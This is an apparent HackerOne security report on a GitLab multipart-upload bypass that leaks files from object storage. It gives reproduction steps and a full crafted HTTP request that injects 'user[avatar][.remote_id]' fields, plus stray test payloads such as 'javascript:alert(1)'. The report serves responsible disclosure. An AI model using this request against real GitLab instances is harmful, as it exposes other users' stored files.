Skip to content

Gitlab::Middleware::Multipart bypass to leak some files in object storage

HackerOne report #927953 by ledz1996 on 2020-07-20:

Summary

The mitigation for #850447 lack the check for remote_id for file uploading param inside a hash. For example I could slip in remote_id if the upload parameter is inside a Hash, such as user[avatar]

Steps to reproduce

  1. Enable Object Storage for Uploads
gitlab_rails['uploads_storage_path'] = "/opt/gitlab/embedded/service/gitlab-rails/public"  
gitlab_rails['uploads_base_dir'] = "uploads/-/system"  
gitlab_rails['uploads_object_store_enabled'] = true  
# gitlab_rails['uploads_object_store_direct_upload'] = true  
gitlab_rails['uploads_object_store_background_upload'] = true  
# gitlab_rails['uploads_object_store_proxy_download'] = false  
gitlab_rails['uploads_object_store_remote_directory'] = "lfsgit-ducanh"  
gitlab_rails['uploads_object_store_connection'] = {  
   'provider' => 'AWS',  
   'region' => 'ap-southeast-1',  
   'aws_access_key_id' => 'Redacted',  
   'aws_secret_access_key' => 'Redacted'  
 }  
  1. Login as an user
  2. For testing upload a file with PNG extension or any extension as long as the content of the file is matched to png, gif, ico, jpeg, tiff and size under 200kb to bucket specified in the config, in my case it is lfsgit-ducanh under folder tmp/uploads
  3. Intercept the request send to upload user avatar modify the following:
    param user[avatar] to user[avatar
    Add the following param to multipart:
    param user[avatar][.remote_id] with value as the name of the file upload
    param user[avatar][.size] to 1
    param user[avatar][.name] to test.png

Sample request:

POST /profile HTTP/1.1  
Host: gitlab.example.vm  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: application/json, text/plain, */*  
Accept-Language: en-US,en;q=0.5  
Referer: http://gitlab.example.vm/profile  
X-CSRF-Token: q/U0RAC1d6vo2t8DDE4CrCairn5tSPLMqgqS+z+1nnJMMa8k9hOa2yiUvNGnQFgy4cnCCjm/w3KRCSG0MNjC3w==  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------123131391227016554183414506179  
Content-Length: 3207  
Origin: http://gitlab.example.vm  
Connection: close  
Cookie: experimentation_subject_id=ImU0OTc1ZGY3LTk2ZjQtNDc1Yi1hM2IwLTVmNmI0MWViNzViYSI%3D--7a823d50e4220918dd1a10d21599be62dfbe5e46; sidebar_collapsed=false; diff_view=inline; _gitlab_session=cf64c7af0ce7d6da7c4a343959a12bfe; event_filter=all

-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="utf8"

✓  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="_method"

put  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="authenticity_token"

q/U0RAC1d6vo2t8DDE4CrCairn5tSPLMqgqS+z+1nnJMMa8k9hOa2yiUvNGnQFgy4cnCCjm/w3KRCSG0MNjC3w==  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[status][emoji]"


-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[status][message]"


-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[name]"

test'g  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[id]"

8  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[email]"

rrr@mailt.com  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[public_email]"


-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[commit_email]"

rrr@mailt.com  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[skype]"

test"  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[linkedin]"


-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[twitter]"


-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[website_url]"

javascript:alert(1)  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[location]"


-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[job_title]"


-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[organization]"


-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[bio]"


-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[private_profile]"

0  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[include_private_contributions]"

0  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[avatar][.remote_id]"

file8.PNG  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[avatar][.size]"

3  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[avatar][.name]"

test.png  
-----------------------------123131391227016554183414506179  
Content-Disposition: form-data; name="user[avatar"; filename="avatar.png"  
Content-Type: image/png

w  
twwwqwdqwd  
-----------------------------123131391227016554183414506179--
  1. Navigate to user avatar for the content of the file. The file is then deleted in the folder because it is moved to another folder in the bucket

I prepared a video for this: bandicam_2020-07-20_21-51-18-569.mp4

Results of GitLab environment info

System information  
System:     Ubuntu 16.04  
Proxy:      no  
Current User:   git  
Using RVM:  no  
Ruby Version:   2.6.6p146  
Gem Version:    2.7.10  
Bundler Version:1.17.3  
Rake Version:   12.3.3  
Redis Version:  5.0.9  
Git Version:    2.27.0  
Sidekiq Version:5.2.7  
Go Version: unknown

GitLab information  
Version:    13.1.3-ee  
Revision:   68484131370  
Directory:  /opt/gitlab/embedded/service/gitlab-rails  
DB Adapter: PostgreSQL  
DB Version: 11.7  
URL:        http://gitlab.example.vm  
HTTP Clone URL: http://gitlab.example.vm/some-group/some-project.git  
SSH Clone URL:  git@gitlab.example.vm:some-group/some-project.git  
Elasticsearch:  no  
Geo:        no  
Using LDAP: no  
Using Omniauth: yes  
Omniauth Providers: saml

GitLab Shell  
Version:    13.3.0  
Repository storage paths:  
- default:  /var/opt/gitlab/git-data/repositories  
GitLab Shell path:      /opt/gitlab/embedded/service/gitlab-shell  
Git:        /opt/gitlab/embedded/bin/git  

Impact

Gitlab::Middleware::Multipart bypass to leak some files in object storage

Attachments

Warning: Attachments received through HackerOne, please exercise caution!